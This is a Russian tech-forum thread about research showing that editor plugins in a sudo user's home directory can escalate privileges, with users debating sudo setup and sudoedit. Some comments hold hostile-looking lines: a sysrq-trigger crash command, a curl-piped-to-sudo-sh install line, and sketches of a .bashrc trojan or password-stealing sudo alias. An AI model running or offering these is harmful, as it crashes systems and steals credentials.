Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Оценка влияния на безопасность плагинов к текстовым редакторам"	+/–
Сообщение от opennews (??) on 20-Мрт-18, 21:20
Исследователи из компании SafeBreach представили (https://safebreach.com/Post/Abusing-Text-Editors-with-Third-...) спорный метод атаки, позволяющий атакующему поднять привилегии в системе, в случае если он получил возможность изменения файлов в каталоге пользователя, имеющего право на выполнение привилегированных операций через sudo. Метод атаки основан на том, что текстовые редакторы автоматически подключают плагины,  не только централизованно установленные в системе, но и те, что размещены в домашнем каталоге пользователя. Проанализировав обработку плагинов в Vim, Emacs,  Sublime, Gedit и pico/nano, исследователи пришли к выводу (https://go.safebreach.com/rs/535-IXZ-934/images/Abusing_Text...), что все они могут быть использованы для атаки. Суть атаки сводится к размещению в каталоге пользователя (который выполняет sudo) вредоносного плагина (например, в ~/.vim/plugin/, ~/.config/sublime-text-3/Packages/User, ~/.emacs.d/init.el или ~/.local/share/gedit/plugins), который будет выполнен когда текстовый редактор будет выполнен с повышенными привилегиями при помощи утилиты sudo  (например, "sudo vim"). Для блокирования проблемы исследователи рекомендует раздельно обрабатывать запуск с повышенными привилегиями и не загружать плагины, которые принадлежат непривилегированному пользователю, не совпадающему с владельцем текущего процесса. Разработчики vim (https://groups.google.com/forum/#!msg/vim_dev/8h54GXhxX3E/AV...), emacs (https://debbugs.gnu.org/cgi/bugreport.cgi?bug=28618) и gedit (https://bugzilla.gnome.org/show_bug.cgi?id=790939) отказались рассматривать указанное поведение как уязвимость, так как если атакующий уже смог загрузить свой файл в каталог пользователя, имеющего возможность выполнить sudo, то атака уже может считаться успешно совершённой. Проблема же с плагинами вызвана некорректной (https://security.stackexchange.com/questions/18369/issues-wi...) конфигурацией sudo, не меняющего переменную $HOME после смены пользователя. URL: https://safebreach.com/Post/Abusing-Text-Editors-with-Third-... Новость: https://www.opennet.ru/opennews/art.shtml?num=48299
Ответить | Правка | Cообщить модератору

Сообщения по теме

[Сортировка по времени | RSS]

1. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+26 +/–
Сообщение от Anonim (??) on 20-Мрт-18, 21:20
Хакер и солонка
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

2. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–12 +/–
Сообщение от ыы on 20-Мрт-18, 21:24
>если атакующий уже смог загрузить свой файл в каталог пользователя, имеющего возможность выполнить sudo, то атака уже может считаться успешно совершённой странная логика у товарищей.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	5. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+5 +/–
	Сообщение от Аноним (??) on 20-Мрт-18, 22:41
	Совершенно нормальная.
	Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

	16. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+2 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 04:53
	Тогда разреши по SSH приконнектиться?
	Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

3. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
Сообщение от я on 20-Мрт-18, 21:44
Дополнения дают неограниченный доступ к компу жертвы. Sublime-text или Atom тащит дополнения в каждом из которых может быть зловред. А даже если сейчас нет, то произойдет то же, что и с Chrome - кто-то интегрирует зловред в обычный плагин и получит неограниченный доступ к компу.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	7. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+5 +/–
	Сообщение от Аноним (??) on 20-Мрт-18, 22:44
	А ты не используй неведомое нечто, а используй редактор.
	Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

	58. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 21-Мрт-18, 20:01
	Штука в том, что почти все редакторы, используемые в программировании, так или иначе расчитаны на работу с плагинами и без них практически бесполезны.
	Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

	63. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от IRASoldier on 22-Мрт-18, 15:55
	Sublime Text - это редактор. "A sophisticated text editor for code, markup and prose".
	Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

	46. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–1 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 14:37
	Но в больших масштабах оно работать не будет, потому что расширения лежат в сторе, где их можно всегда проверить и откуда их можно удалить. А вот что делать с расширениями, которые подкладываются в userspace и выполняются редакторами без ведома пользователя - вот это не ясно.
	Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

4. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–3 +/–
Сообщение от я on 20-Мрт-18, 21:47
Разрабы популярных редакторов игнорируют проблемы пользователей. Там нет ни песочницы, ни проверки дополнений - ничего. Дескать открытый код решает все проблемы. Но как мы видели на примере Хрома, он ничего не решает.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	6. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 20-Мрт-18, 22:43
	> Там нет ни песочницы, ни проверки дополнений - ничего. Дескать открытый код решает все проблемы. > Но как мы видели на примере Хрома, он ничего не решает. Как мы видели на примере хрома, песочница и проверка дополнений и подавно ничего не решают.
	Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

	37. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–6 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 11:54
	Проблему решает только AppStore с тотальной премодерацией абсолютно всего. Это единственный путь, опенсорс уже давно доказал свою несостоятельность.
	Ответить | Правка | ^ к родителю #6 | Наверх | Cообщить модератору

	54. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Iaaa (ok) on 21-Мрт-18, 17:49
	Лично я через апстор спокойно проводил сбор сетевой статистики. Всего то надо было ее на неделю отключить, что бы проверяющий индус ничего не успел увидеть.
	Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

	10. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+9 +/–
	Сообщение от Аноним (??) on 20-Мрт-18, 23:28
	Открытый код не решает проблемы отсутствия мозгов у пользователей.
	Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

	12. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+2 +/–
	Сообщение от Crazy Alex (ok) on 20-Мрт-18, 23:33
	Зато ниличие мозга проблемы вполне решает. Если вы, конечно, не джаваскриптер с лефтпадом, который тащит в рот всё подряд не глядя.
	Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

	38. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–5 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 11:58
	Просто ты со своей сишечкой устарел и у тебя бомбит от модных-молодежных хипстеров на js, за которыми будущее - а ты перед этим бессилен.
	Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

	39. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+4 +/–
	Сообщение от Crazy Alex (ok) on 21-Мрт-18, 12:07
	Расслабься, мне это первый раз сказали те, кто писал, кажется, на FoxPro. А потом - дельфишники, рельсовики... И этих переживу.
	Ответить | Правка | ^ к родителю #38 | Наверх | Cообщить модератору

	48. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 21-Мрт-18, 15:49
	:)
	Ответить | Правка | ^ к родителю #39 | Наверх | Cообщить модератору

	50. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–1 +/–
	Сообщение от _ (??) on 21-Мрт-18, 16:05
	>Расслабься, мне это первый раз сказали те, кто писал, кажется, на FoxPro. >А потом - дельфишники, рельсовики... И этих переживу. >Crazy Alex Ай крассава! В форсунки! (С) :-)
	Ответить | Правка | ^ к родителю #39 | Наверх | Cообщить модератору

	62. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 22-Мрт-18, 15:06
	> Так что все, ты проиграл эту эволюцию, проследуй за лисперами и кобольщиками. Но пока не переписали еще и оставшуюся, совершенно незначительную часть прослойки между JS и пользователем (браузеры, графические стеки, дрова и ядра там всякие) на JS, старперы еще немного потрепыхаются.
	Ответить | Правка | ^ к родителю #50 | Наверх | Cообщить модератору

8. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+8 +/–
Сообщение от Аноним (??) on 20-Мрт-18, 23:06
обнаружена уязвимость в пайпе баша, при помощи которой можно выполнить абсолютно любой код. Демонстрация уязвимости: echo "echo hacked" > exploit.txt bash exploit.txt
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	13. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+3 +/–
	Сообщение от vantoo (ok) on 20-Мрт-18, 23:50
	> bash exploit.txt sudo bash exploit.txt /FIXED
	Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

	20. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+4 +/–
	Сообщение от ryoken (ok) on 21-Мрт-18, 08:30
	> sudo bash exploit.txt > /FIXED навеяло... "КАПИТАН Джек Воробей" :D
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	43. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+2 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 13:48
	> sudo bash exploit.txt $ sudo bash exploit.txt [sudo] password for root: root /FIXED
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	22. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+1 +/–
	Сообщение от Харитон on 21-Мрт-18, 09:20
	А где собственно пайп?)))
	Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

	36. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от PnDx (ok) on 21-Мрт-18, 11:45
	Вот так устроит? echo c | sudo tee /proc/sysrq-trigger
	Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

9. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+2 +/–
Сообщение от Аноним (??) on 20-Мрт-18, 23:23
Так vim, например, с-под sudo (без -E опции) не подгружает пользовательские настройки и плагины. А зачем последние нужны под рутом я не представляю.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	25. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 21-Мрт-18, 09:30
	На бубунте подгружает.
	Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

	41. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от alltiptop (ok) on 21-Мрт-18, 13:25
	Всё у этих ни как у людей
	Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

	51. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 21-Мрт-18, 16:36
	> На бубунте подгружает. Ты про vim под sudo (и зачем бы его так запускать?) или про sudoedit (который вовсе не под рутом редактор запускает)?
	Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

11. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+4 +/–
Сообщение от Аноним (??) on 20-Мрт-18, 23:32
Исследователи говорят нам, мол, если вы поставите зловредный плагин, то вы в опасности. Спасибо, а то мы не знали.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	26. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Andrey Mitrofanov on 21-Мрт-18, 09:32
	> Исследователи говорят нам, мол, если вы поставите зловредный плагин, то вы в > опасности. Спасибо, а то мы не знали. Исследователи откровенно стебутся над пользователями [дистрибутивов] с открытым беспарольныс sudo на *.* Уязвимость - в редакторе.  Деньги - в бидоне.  Смекаешь?
	Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

	53. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–3 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 17:16
	> Исследователи откровенно стебутся над пользователями [дистрибутивов] с открытым беспарольныс sudo на *.* Хороший стёб. Но я обычно стебусь ещё над пользователями sudo.
	Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

	57. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+1 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 19:45
	Не смог в документацию?
	Ответить | Правка | ^ к родителю #53 | Наверх | Cообщить модератору

14. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+3 +/–
Сообщение от Аноним (??) on 21-Мрт-18, 00:56
До 1 апреля еще 10 дней, невтерпеж им
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

15. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–4 +/–
Сообщение от Аноним (??) on 21-Мрт-18, 01:08
> Для блокирования проблемы исследователи рекомендуют не (мучать) мозг, а вместо суды использовать су. /thread
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	17. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от ERTre on 21-Мрт-18, 04:56
	Не пугай так убунтят, их нынче много развелось.
	Ответить | Правка | ^ к родителю #15 | Наверх | Cообщить модератору

	27. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Andrey Mitrofanov on 21-Мрт-18, 09:37
	>> Для блокирования проблемы исследователи рекомендуют > не (мучать) мозг, а вместо суды использовать су. > /thread Прааальна! А sudoers с ALL=(ALL) NOPASSWD:ALL оставить тем, кто им _умеет пользоваться -- кракирам, "исследователям" безопасности и примкнувшим к ним дистрибутивам.
	Ответить | Правка | ^ к родителю #15 | Наверх | Cообщить модератору

18. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–3 +/–
Сообщение от Тот_Самый_Анонимус on 21-Мрт-18, 07:00
Плагинам не место в каталоге пользователя. Это как в винде программы у пользователей с пониженными правами программы могут устанавливаться в каталог пользователя, так и в линухе с плагинами. И то и другое — дыра в безопасности. Второе даже хуже: его не всегда запретишь средствами ОС.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	19. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 21-Мрт-18, 07:45
	Так не ставь их в каталог пользователя.
	Ответить | Правка | ^ к родителю #18 | Наверх | Cообщить модератору

	32. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от KonstantinB (ok) on 21-Мрт-18, 11:05
	В виме никто не мешает настроить runtimepath. В емаксе никто не мешает настроить load-path.
	Ответить | Правка | ^ к родителю #18 | Наверх | Cообщить модератору

21. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+1 +/–
Сообщение от John (??) on 21-Мрт-18, 08:32
Никогда не понимал одминов, которые разрешают sudo без пароля...
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	23. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–1 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 09:27
	при чем здесь это? команду sudo исполняет не редактор, а пользователь при запуске редактора. Даже при наличии пароля пользователь его введет, т.к. ему нужно что-либо отредактировать, и редактор запустится с root-правами.
	Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

29. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
Сообщение от Аноним (??) on 21-Мрт-18, 10:03
"Оценка влияния на безопасность плагинов к текстовым редакторам". А теперь тоже самое, но по-русски.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	31. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–1 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 10:36
	Наверное, следовало бы написать "Оценка влияния на безопасность текстовых редакторов плагинов к ним".
	Ответить | Правка | ^ к родителю #29 | Наверх | Cообщить модератору

	35. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+1 +/–
	Сообщение от Andrey Mitrofanov on 21-Мрт-18, 11:36
	> "Оценка влияния на безопасность плагинов к текстовым редакторам". А теперь тоже самое, > но по-русски. " бизапаснасть! шекели, шекели!! многа шекелей!!! а вот каму бизапаснасть71 "
	Ответить | Правка | ^ к родителю #29 | Наверх | Cообщить модератору

30. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–4 +/–
Сообщение от Аноним (??) on 21-Мрт-18, 10:33
Убунтологи, бойтесь, это, в первую очередь, касается вас! У вас же всё через sudo. Например, гентушники предпочитают su или, если на локальной консоли, то напрямую залогиниться рутом для выполнения админский действий.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

34. "Оценка влияния на безопасность плагинов к текстовым редактор..."	–2 +/–
Сообщение от Аноним (??) on 21-Мрт-18, 11:33
а зачем вообще запускать эти редакторы из-под sudo? Если надо поправить какой-нибудь системный конфиг, то для этого есть nano.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	40. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Crazy Alex (ok) on 21-Мрт-18, 12:10
	nano есть ровно для того, чтобы дожить до момента установки vim или хотя бы mc.
	Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

	45. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 21-Мрт-18, 14:12
	Для этого есть sudoedit, вообще-то. Который запускает редактор из-под пользователя, а не из-под root.
	Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

42. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
Сообщение от Аноним (??) on 21-Мрт-18, 13:26
Использование visudo разве не спасает от такого?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

44. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
Сообщение от Аноним (??) on 21-Мрт-18, 14:06
А зачем обязательно скрипты редакторов использовать? Может лучше сразу записать запуск трояна в .bashrc ? Как вариант, троян форкается в background, ждёт запуска sudo и сам "переходит на следующий уровень" привелегий. Например, используя таймаут, пока не надо перевводить пароль при повторном запуске sudo.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	47. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 21-Мрт-18, 15:25
	Или можно сделать bash alias для sudo, чтоб вызывался свой sudo, который и какой нужно код запустит, и пароль заботливо сохранит, а может и сообщит его "куда следует".
	Ответить | Правка | ^ к родителю #44 | Наверх | Cообщить модератору

	49. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+2 +/–
	Сообщение от Аноним (??) on 21-Мрт-18, 15:56
	> Может лучше сразу записать запуск трояна в .bashrc ? Расслабься. Большинству достаточно написать, что для установки какой-нибудь софтины нужно сделать curl https://aninnovativestartupdomainregisteredaweekago.com/inst... | sudo sh и никакого вмешательства в .bashrc не потребуется.
	Ответить | Правка | ^ к родителю #44 | Наверх | Cообщить модератору

	52. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 21-Мрт-18, 16:44
	Дык пацаны же сказали что троян надо обязательно в плагины к редактору вписывать
	Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

	59. "Оценка влияния на безопасность плагинов к текстовым редактор..."	+/–
	Сообщение от Аноним (??) on 22-Мрт-18, 05:45
	А зачем вообще трояну рут? Он уже получил всё ценное.
	Ответить | Правка | ^ к родителю #44 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема